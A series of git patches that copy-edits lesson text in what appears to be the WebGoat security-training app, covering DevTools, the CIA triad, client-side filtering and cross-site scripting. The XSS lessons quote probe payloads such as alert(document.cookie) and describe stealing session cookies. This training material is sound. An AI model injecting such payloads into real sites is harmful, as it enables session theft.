b/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FieldRestrictions.adoc @@ -1,6 +1,6 @@ == Field Restrictions -In most browsers, client has complete or almost complete control over HTML part +In most browsers, the client has complete or almost complete control over the HTML part of the webpage. They can alter values or restrictions to fit their preference. === Task -Send a request that bypasses restrictions of all four of these fields +Send a request that bypasses restrictions of all four of these fields. diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc b/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc index 67b4dd857..cf966a179 100644 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc +++ b/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_FrontendValidation.adoc @@ -1,7 +1,7 @@ == Validation -Often, there is some mechanism in place to prevent users from sending altered -field values to server, such as validation before sending. Most of popular browsers +There is often some mechanism in place to prevent users from sending altered +field values to the server, such as validation before sending. Most popular browsers such as Chrome don't allow editing scripts during runtime. We will have to circumvent the validation some other way. diff --git a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_Intro.adoc b/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_Intro.adoc index e75483bc8..201de0cfc 100755 --- a/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_Intro.adoc +++ b/webgoat-lessons/bypass-restrictions/src/main/resources/lessonPlans/en/BypassRestrictions_Intro.adoc @@ -1,11 +1,10 @@ == Concept -Users have a great degree of control over the front-end of the web application. -They can alter HTML code, sometimes also scripts. This is why -apps that require certain format of input should also validate on server-side. +Users have a great degree of control over the web application's front-end. +They can alter HTML code, sometimes also scripts. Applications that require a certain input format should also validate on the server-side. == Goals * The user should have a basic knowledge of HTML -* The user should be able to tamper a request before sending (with proxy or other tool) +* The user should be able to tamper with a request before sending (with proxy or other tools) * The user will be able to tamper with field restrictions and bypass client-side validation From 5089c107ba5dc10f3fd7ab1aa1936271a2e14662 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 13 Dec 2021 20:20:54 +0100 Subject: [PATCH 114/227] Update documentation --- .../en/ChromeDevTools_Assignment.adoc | 4 ++-- .../en/ChromeDevTools_Assignment_Network.adoc | 6 ++--- .../en/ChromeDevTools_console.adoc | 18 +++++++------- .../en/ChromeDevTools_elements.adoc | 20 ++++++++-------- .../lessonPlans/en/ChromeDevTools_intro.adoc | 24 +++++++++---------- .../en/ChromeDevTools_sources.adoc | 16 ++++++------- 6 files changed, 44 insertions(+), 44 deletions(-) diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc index 99981c4ad..a1d8803e1 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc +++ b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment.adoc @@ -1,8 +1,8 @@ == Try It! Using the console Let us try it. Use the console in the dev tools and call the javascript function *webgoat.customjs.phoneHome()*. + -You should get a response in the console. Your result should look something like: +You should get a response in the console. Your result should look something like this: `phone home said {"lessonCompleted:true, ... ,"output":"phone home response is..."` Paste the random number, after that, in the text field below. -(Make sure you got the most recent number, since it is randomly generated each time you call the function) \ No newline at end of file +(Make sure you got the most recent number since it is randomly generated each time you call the function) diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment_Network.adoc b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment_Network.adoc index b274f0452..29e1324c4 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment_Network.adoc +++ b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_Assignment_Network.adoc @@ -1,6 +1,6 @@ == Try It! Working with the Network tab -In this assignment you need to find a specific HTTP request and read a randomized number from it. -To start click the first button, this wil generate an HTTP request. Try to find the specific HTTP request. +In this assignment, you need to find a specific HTTP request and read a randomized number. +To start, click the first button. This will generate an HTTP request. Try to find the specific HTTP request. The request should contain a field: `networkNum:` -Copy the number which is displayed afterwards, into the input field below and click on the check button. \ No newline at end of file +Copy the number displayed afterward into the input field below and click on the check button. diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_console.adoc b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_console.adoc index 85d155aea..0780ef6bb 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_console.adoc +++ b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_console.adoc @@ -1,17 +1,17 @@ == The Console tab -In the console tab you can see anything, which a loaded JavaScript file may have printed out to it. +In the console tab, you can see anything that a loaded JavaScript file may have printed out. Do not worry if you see something in red. While that is an error, it has probably resolved itself. -Through the console tab, it is also possible for you to run your own line of JavaScript code. +Through the console tab, it is also possible for you to run your line of JavaScript code. -Start by clearing console using the shortcut `CTRL+L`. +Start by clearing the console using the shortcut `CTRL+L.` -To run your own JavaScript, simply click inside of the console and write something like: -`console.log("Hello WebGoat!");` Hit enter. Hello WebGoat should now appear in your console. -The console also allows you to do some basic arithmetic. If you type for example `1+3` and hit -enter the console should display 4. +To run your JavaScript, click inside of the console and write something like: +`console.log("Hello WebGoat!");` Hit enter. `Hello WebGoat` should now appear in your console. +The console also allows you to do some basic arithmetic. If you type, for example, `1+3` and hit +enter, the console should display 4. Note: You may see an `undefined` in the console. You can safely ignore this statement, -it only means, that the JavaScript function you have called did not return anything, therefore `undefined`. +it only means that the JavaScript function you have called did not return anything, therefore `undefined.` -image::images/ChromeDev_Console_Ex.jpg[DeveloperToolsConsoleExample,500,500,style="lesson-image"] \ No newline at end of file +image::images/ChromeDev_Console_Ex.jpg[DeveloperToolsConsoleExample,500,500,style="lesson-image"] diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_elements.adoc b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_elements.adoc index cfe66bab8..18477e950 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_elements.adoc +++ b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_elements.adoc @@ -1,22 +1,22 @@ == The Elements Tab -The elements tab allows you to look at the HTML and CSS code, that are used to define and style the website. +The elements tab allows you to look at the HTML and CSS code used to define and style the website. === HTML source -If you hover over one line you can see that a part of the website turns blue. That means that +If you hover over one line, you can see that a part of the website turns blue. That means that this particular HTML line defines this section of the website. -The elements tab allows you to make changes to every single HTML element. For example if you click inside -a paragraph (

...

) Tag you can edit the content of the website. If you have made your changes and then click enter -Chrome will actually update the website to show your edits. You can also change the HTML Tag used, -the classes and id's a tag has and much more. +The elements tab allows you to make changes to every single HTML element. For example, if you click inside +a paragraph (

...

) Tag, you can edit the content of the website. If you have made your changes and then click enter +Chrome will update the website to show your edits. You can also change the HTML Tag used, +the classes and id's a tag has, and much more. image::images/ChromeDev_Elements.jpg[DeveloperToolsElements,500,350,style="lesson-image"] === CSS source -Underneath the HTML source, you can find information about the CSS which is used to style the -Website. Like the HTML, you can also edit the CSS and therefore adjust the styling of the website. -You can edit specific values, or turn off individual styling. +You can find information about the CSS used to style the +website under the HTML source. Like the HTML, you can also edit the CSS and, therefore, adjust the website's styling. +You can edit specific values or turn off individual styling. -image::images/ChromeDev_Elements_CSS.jpg[DeveloperToolsElementsCSS,500,350,style="lesson-image"] \ No newline at end of file +image::images/ChromeDev_Elements_CSS.jpg[DeveloperToolsElementsCSS,500,350,style="lesson-image"] diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_intro.adoc b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_intro.adoc index 3ce5e60fb..2689a0440 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_intro.adoc +++ b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_intro.adoc @@ -1,19 +1,19 @@ == Google Chrome Developer Tools -To complete certain assignments you sometimes may have to look at the JavaScript +To complete certain assignments, you sometimes may have to look at the JavaScript source code or run a JavaScript command on your own. -To do that Google Chrome has a set of tools which allows you to do that and much much more. -While these tools are not specific to Google Chrome, almost every modern browser has a set -of their own, our introduction will focus on the ones found in Google Chrome. -You can however still use the browser of your choice, like Firefox or Safari, although some steps of this tutorial -may be different for you. +To do that, Google Chrome has a set of tools that allow you to do that and much more. +While these tools are not specific to Google Chrome, almost every modern browser has a bunch +of its own. Our introduction will focus on the ones found in Google Chrome. +You can, however still use the browser of your choice, like Firefox or Safari, although some steps of this tutorial +maybe different for you. -Keep in mind that the following tutorial, is not there to teach everything there is about these tools. -This tutorial will only focus on the essential knowledge you need to complete certain assignments. -Also if you are already familiar with these Tools you can safely skip these lessons. +Keep in mind that the following tutorial is not there to teach everything about these tools. +This tutorial will only focus on the essential knowledge to complete specific assignments. +Also, if you are already familiar with these tools, you can safely skip these lessons. -To get started, *open the developer tools*. There are multiple ways to open them: +To get started: *open the developer tools*. There are multiple ways to open them: -1. Right click anywhere in the browser window and select the option _"Inspect"_. +1. Right-click anywhere in the browser window and select the option _"Inspect"_. 2. Go to the browser menu (three dots in the top right corner), then go to _"More tools"_ and select the option _"Developer tools"_. -3. Use the keyboard shortcut _Ctrl + Shift + I_ \ No newline at end of file +3. Use the keyboard shortcut _Ctrl + Shift + I_ diff --git a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_sources.adoc b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_sources.adoc index cd0d2ba06..8bd4314bd 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_sources.adoc +++ b/webgoat-lessons/chrome-dev-tools/src/main/resources/lessonPlans/en/ChromeDevTools_sources.adoc @@ -1,16 +1,16 @@ == The Sources tab -In the sources tab you can check out the file system and view all the HTML, CSS and JavaScript files that are used, to -create the website. Simply click on a file to view its contents. +In the sources tab, you can check out the file system and view all the HTML, CSS, and JavaScript files used to +create the website. Click on a file to view its contents. image::images/ChromeDev_Sources.jpg[DeveloperToolsSources,400,500,style="lesson-image"] == The Network tab -In the Network tab you can view HTTP requests and responses the website has performed. -If you want more detailed information on a particular request, just click on it. -In the Timeline above the blue dots represent when these requests and responses have been performed. -You can also see the Requests done in a specific time frame, simply by clicking and dragging on the timeline. Now the window -below, will only show the requests and responses done in that particular time frame. +In the Network tab, you can view HTTP requests and responses the website has performed. +Just click on it if you want more detailed information on a particular request. +The "Timeline" above the blue dots represents when these requests and responses have been performed. +You can also see the Requests done in a specific time frame simply by clicking and dragging on the timeline. The window +below will only show the requests and responses done in that time frame. -image::images/ChromeDev_Network.jpg[DeveloperToolsNetwork,400,500,style="lesson-image"] \ No newline at end of file +image::images/ChromeDev_Network.jpg[DeveloperToolsNetwork,400,500,style="lesson-image"] From 51c007c545088e8d2f245c10872b6ccf5ac64c0b Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 13 Dec 2021 20:28:43 +0100 Subject: [PATCH 115/227] Update documentation --- .../main/resources/lessonPlans/en/CIA_availability.adoc | 2 +- .../resources/lessonPlans/en/CIA_confidentiality.adoc | 8 ++++---- .../src/main/resources/lessonPlans/en/CIA_integrity.adoc | 6 +++--- .../cia/src/main/resources/lessonPlans/en/CIA_intro.adoc | 6 +++--- .../cia/src/main/resources/lessonPlans/en/CIA_quiz.adoc | 2 +- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc index a0c885ccc..041c344d3 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc +++ b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_availability.adoc @@ -19,6 +19,6 @@ Availability is "the property of being accessible and usable on demand by an aut ** network traffic control ** firewalls ** physical security of hardware and underlying infrastructure -*** protections against fire, water, and other elements +*** protection against fire, water, and other elements ** hardware maintenance ** redundancy diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_confidentiality.adoc b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_confidentiality.adoc index 7d4e4b8a5..9045d4d5e 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_confidentiality.adoc +++ b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_confidentiality.adoc @@ -1,15 +1,15 @@ == Confidentiality -Confidentiality is "the property, that information is not made available or disclosed to unauthorized individuals, entities, or processes." In other words, confidentiality requires that unauthorized users should not be able to access sensitive resources. Confidentiality must be balanced with availability; authorized persons must still be able to access the resources they have been granted permissions for. +Confidentiality is "the property that information is not made available or disclosed to unauthorized individuals, entities, or processes." In other words, confidentiality requires that unauthorized users should not be able to access sensitive resources. Confidentiality must be balanced with availability; authorized persons must still access the resources they have been granted permissions for. -Although confidentiality is similar to "privacy", these two words are not interchangeable. Rather, confidentiality is a component of privacy; confidentiality is implemented to protect resources from unauthorized entities. +Although confidentiality is similar to "privacy," these two words are not interchangeable. Instead, confidentiality is a component of privacy; confidentiality is implemented to protect resources from unauthorized entities. {nbsp} + === Examples that compromise confidentiality: ** a hacker gets access to the password database of a company -** a sensitive emails is sent to the incorrect individual +** a sensitive email is sent to the incorrect individual ** a hacker reads sensitive information by intercepting and eavesdropping on an information transfer {nbsp} + @@ -22,4 +22,4 @@ Although confidentiality is similar to "privacy", these two words are not interc *** multi-factor authentication (MFA) *** biometric verification ** minimizing the number of places/times the information appears -** physical security controls such as properly secured server rooms \ No newline at end of file +** physical security controls such as properly secured server rooms diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc index e3978d242..cddf63cfc 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc +++ b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_integrity.adoc @@ -1,6 +1,6 @@ == Integrity -Integrity is "the property of accuracy and completeness." In other words, integrity means maintaining the consistency, accuracy and trustworthiness of data over its entire life cycle. Data must not be changed during transit and unauthorized entities should not be able to alter the data. +Integrity is "the property of accuracy and completeness." In other words, integrity means maintaining the consistency, accuracy, and trustworthiness of data over its entire life cycle. Data must not change during transit, and unauthorized entities should not alter the data. {nbsp} + @@ -13,9 +13,9 @@ Integrity is "the property of accuracy and completeness." In other words, integr {nbsp} + -=== Examples of methods ensuring integrity +=== Examples of methods ensuring the integrity ** well functioning authentication methods and access control ** checking integrity with hash functions ** backups and redundancy -** auditing and logging \ No newline at end of file +** auditing and logging diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc index f987387fd..8804d73bd 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc +++ b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_intro.adoc @@ -1,7 +1,7 @@ == The CIA Triad The CIA Triad (confidentiality, integrity, availability) is a model for information security. -The three elements of the triad are considered the most crucial information security components and should be guaranteed in any secure system. + -Serious consequences can result if even one these elements is breached. +The three elements of the triad are considered the most crucial information security components and should guarantee in any secure system. + +Serious consequences can result if even one of these elements is breached. -The CIA Triad was created to provide a baseline standard for evaluating and implementing security regardless of the underlying system and/or organization. \ No newline at end of file +The CIA Triad was created to provide a baseline standard for evaluating and implementing security regardless of the underlying system and/or organization. diff --git a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_quiz.adoc b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_quiz.adoc index 56840faa5..90be99409 100644 --- a/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_quiz.adoc +++ b/webgoat-lessons/cia/src/main/resources/lessonPlans/en/CIA_quiz.adoc @@ -1,3 +1,3 @@ Now it's time for a quiz! Answer the following question to check if you understood the topic. -Today, most systems are protected by a firewall.A properly configured firewall can prevent malicious entities from accessing a system and helps protect an organization's resources. For this quiz, imagine a system that handles personal data but is not protected by a firewall: \ No newline at end of file +Today, most systems are protected by a firewall. A properly configured firewall can prevent malicious entities from accessing a system and helps protect an organization's resources. For this quiz, imagine a system that handles personal data but is not protected by a firewall: From 2589aa3fa4c1409adfb8abe23cd3f1ed97047225 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 13 Dec 2021 20:48:05 +0100 Subject: [PATCH 116/227] Update documentation --- .../lessonPlans/en/ClientSideFiltering_assignment.adoc | 2 +- .../resources/lessonPlans/en/ClientSideFiltering_plan.adoc | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc b/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc index 7a37818bf..dfb254dad 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc +++ b/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_assignment.adoc @@ -2,4 +2,4 @@ You are logged in as Moe Stooge, CSO of Goat Hills Financial. You have access to everyone in the company's information, except the CEO, Neville Bartholomew. Or at least you should not have access to the CEO's information. For this assignment, -examine the contents of the page to see what extra information you can find. \ No newline at end of file +examine the page's contents to see what extra information you can find. diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc b/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc index 36615a13e..ed118faf9 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc +++ b/webgoat-lessons/client-side-filtering/src/main/resources/lessonPlans/en/ClientSideFiltering_plan.adoc @@ -1,6 +1,6 @@ == Client side filtering -It is always a good practice to send to the client only information which they are supposed +It is always a good practice to send only information to the client they are supposed to have access to. In this lesson, too much information is being sent to the client, creating -a serious access control problem. For this exercise, your mission is exploit the extraneous information being returned -by the server to discover information to which you should not have access. \ No newline at end of file +a serious access control problem. For this exercise, your mission is to exploit the extraneous information returned +by the server to discover information to which you should not have access. From e169650ebce9813fdadb1dfe5c5eb3a0ab3e5b47 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 14 Dec 2021 12:14:37 +0100 Subject: [PATCH 117/227] Update documentation --- .../en/CrossSiteScriptingMitigation_plan.adoc | 2 +- .../en/CrossSiteScriptingStored_plan.adoc | 4 ++-- .../en/CrossSiteScripting_content1.adoc | 13 +++++------ .../en/CrossSiteScripting_content2.adoc | 6 ++--- .../en/CrossSiteScripting_content4.adoc | 11 +++++----- .../en/CrossSiteScripting_content5.adoc | 4 ++-- .../en/CrossSiteScripting_content5a.adoc | 6 ++--- .../en/CrossSiteScripting_content5b.adoc | 4 ++-- .../en/CrossSiteScripting_content6.adoc | 12 +++++----- .../en/CrossSiteScripting_content6a.adoc | 8 +++---- .../en/CrossSiteScripting_content6b.adoc | 10 ++++----- .../en/CrossSiteScripting_content7.adoc | 4 ++-- .../en/CrossSiteScripting_content7b.adoc | 4 ++-- .../en/CrossSiteScripting_content7c.adoc | 4 ++-- .../en/CrossSiteScripting_content8.adoc | 18 +++++++-------- .../en/CrossSiteScripting_content8a.adoc | 22 +++++++++---------- .../en/CrossSiteScripting_content8b.adoc | 6 ++--- .../en/CrossSiteScripting_content8c.adoc | 12 +++++----- .../en/CrossSiteScripting_content9.adoc | 10 ++++----- .../en/CrossSiteScripting_plan.adoc | 2 +- .../en/CrossSiteScripting_solution.adoc | 5 ----- .../html/CrossSiteScripting.html | 14 ------------ 22 files changed, 80 insertions(+), 101 deletions(-) delete mode 100644 webgoat-lessons/cross-site-scripting/src/main/resources/lessonSolutions/en/CrossSiteScripting_solution.adoc delete mode 100644 webgoat-lessons/cross-site-scripting/src/main/resources/lessonSolutions/html/CrossSiteScripting.html diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingMitigation_plan.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingMitigation_plan.adoc index 06b557971..cf4a1d5dd 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingMitigation_plan.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingMitigation_plan.adoc @@ -1,7 +1,7 @@ == Concept After learning what Cross-Site Scripting (XSS) is and how it works, -you will know learn how you can defend against it. +you will know to learn how you can defend against it. == Goals diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingStored_plan.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingStored_plan.adoc index 5c09278e4..69ee15bbe 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingStored_plan.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScriptingStored_plan.adoc @@ -1,8 +1,8 @@ == Concept -After taking a look at Reflected XSS in the previous lesson. We are now gonna take a closer look at another form of Cross-Site Scripting Attack: Stored XSS. +After looking at Reflected XSS in the previous lesson, we are now going to take a closer look at another form of Cross-Site Scripting Attack: Stored XSS. == Goals * The user will learn what Stored XSS is * The user will demonstrate knowledge on: -** Stored XSS injection \ No newline at end of file +** Stored XSS injection diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc index 4771c4e61..074be621a 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content1.adoc @@ -1,16 +1,15 @@ == What is XSS? -Cross-Site Scripting (also commonly known as XSS) is a vulnerability/flaw that combines the allowance of html/script tags as input that are rendered into a browser without encoding or sanitization +Cross-Site Scripting (also known as XSS) is a vulnerability/flaw that combines the allowance of HTML/script tags as input that renders into a browser without encoding or sanitization. === Cross-Site Scripting (XSS) is the most prevalent and pernicious web application security issue -While there is a simple well-known defense for this attack, there are still many instances of it on the web. In terms of fixing it, -coverage of fixes also tends to be a problem. We will talk more about the defense in a little bit. +While there is a simple well-known defense for this attack, there are still many instances on the web. Coverage of fixes also tends to be a problem in terms of fixing it. We will talk more about the defense in a little bit. === XSS has significant impact Especially as 'Rich Internet Applications' are more and more commonplace, privileged function calls linked to via JavaScript may be compromised. -And if not properly protected, sensitive data (such as your authentication cookies) can be stolen and used for someone else's purpose. +And if not adequately protected, sensitive data (such as your authentication cookies) can be stolen and used for someone else's purpose. ==== Quick examples: @@ -20,7 +19,7 @@ And if not properly protected, sensitive data (such as your authentication cooki alert("XSS Test"); alert(document.cookie); ---- -* Any data field that is returned to the client is potentially injectable +* Any data field returned to the client is potentially injectable + ---- @@ -28,6 +27,6 @@ alert(document.cookie); == Try It! Using Chrome or Firefox -* Open a second tab and use the same url as this page you are currently on (or any URL within this instance of WebGoat). -* Then, on that second tab open the browser developer tools and open the javascript console. And type: `alert(document.cookie);`. +* Open a second tab and use the same URL as this page you are currently on (or any URL within this instance of WebGoat). +* On the second tab, open the JavaScript console in the developer tools and type: `alert(document.cookie);`. * The cookies should be the same on each tab. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content2.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content2.adoc index 38d9c3d89..45c9e97ad 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content2.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content2.adoc @@ -4,11 +4,11 @@ * Input fields that echo user data -* Error messages that return user supplied text +* Error messages that return user-supplied text -* Hidden fields that contain user supplied data +* Hidden fields that contain user-supplied data -* Any page that displays user supplied data +* Any page that displays user-supplied data ** Message boards ** Free form comments diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content4.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content4.adoc index 727ffbc8a..4f1f7e377 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content4.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content4.adoc @@ -4,14 +4,13 @@ * Malicious content from a user request is displayed to the user in a web browser * Malicious content is written into the page after from server response * Social engineering is required -* Runs with browser privileges inherited from user in browser +* Runs with browser privileges inherited from the user in a browser === DOM-based (also technically reflected) -* Malicious content from a user request is used by client-side scripts to write HTML to it own page -* Similar to reflected XSS -* Runs with browser privileges inherited from user in browser +* Client-side scripts use malicious content from a user request to write HTML to its page +* Similar to reflected XSS +* Runs with browser privileges inherited from the user in a browser === Stored or persistent -* Malicious content is stored on the server ( in a database, file system, or other object ) and later displayed to users in a web browser +* Malicious content is stored on the server ( in a database, file system, or other objects) and later displayed to users in a web browser * Social engineering is not required - diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5.adoc index 90804bcf5..944375013 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5.adoc @@ -1,7 +1,7 @@ == Reflected XSS scenario -* Attacker sends a malicious URL to victim -* Victim clicks on the link that loads malicious web page +* Attacker sends a malicious URL to the victim +* Victim clicks on the link that loads a malicious web page * The malicious script embedded in the URL executes in the victim’s browser ** The script steals sensitive information, like the session id, and releases it to the attacker diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5a.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5a.adoc index aaa14f5ca..4b42340d7 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5a.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5a.adoc @@ -1,8 +1,8 @@ == Try It! Reflected XSS -The goal of the assignment is to identify which field is susceptible to XSS. +The assignment's goal is to identify which field is susceptible to XSS. -It is always a good practice to validate all input on the server-side. XSS can occur when unvalidated user input gets used in an HTTP response. +It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input gets used in an HTTP response. In a reflected XSS attack, an attacker can craft a URL with the attack script and post it to another website, email it, or otherwise get a victim to click on it. -An easy way to find out if a field is vulnerable to an XSS attack is to use the `alert()` or `console.log()` methods. Use one of them to find out which field is vulnerable. \ No newline at end of file +An easy way to find out if a field is vulnerable to an XSS attack is to use the `alert()` or `console.log()` methods. Use one of them to find out which field is vulnerable. diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5b.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5b.adoc index 5f41ee65b..db2eb1d9d 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5b.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content5b.adoc @@ -1,10 +1,10 @@ == Self XSS or reflected XSS? -You should have been able to execute script with the last example. At this point, it would be considered 'self XSS' though. +You should have been able to execute the script with the last example. At this point, it is considered 'self XSS,' though. Why is that? -That is because there is no link that would trigger that XSS. +That is because no link triggers that XSS. You can try it yourself to see what happens ... go to: link:/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=4128+3214+0002+1999&field2=111["/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=4128+3214+0002+1999&field2=111",window=_blank] diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6.adoc b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6.adoc index 12b0bef81..825867aec 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6.adoc +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/lessonPlans/en/CrossSiteScripting_content6.adoc @@ -1,14 +1,14 @@ == 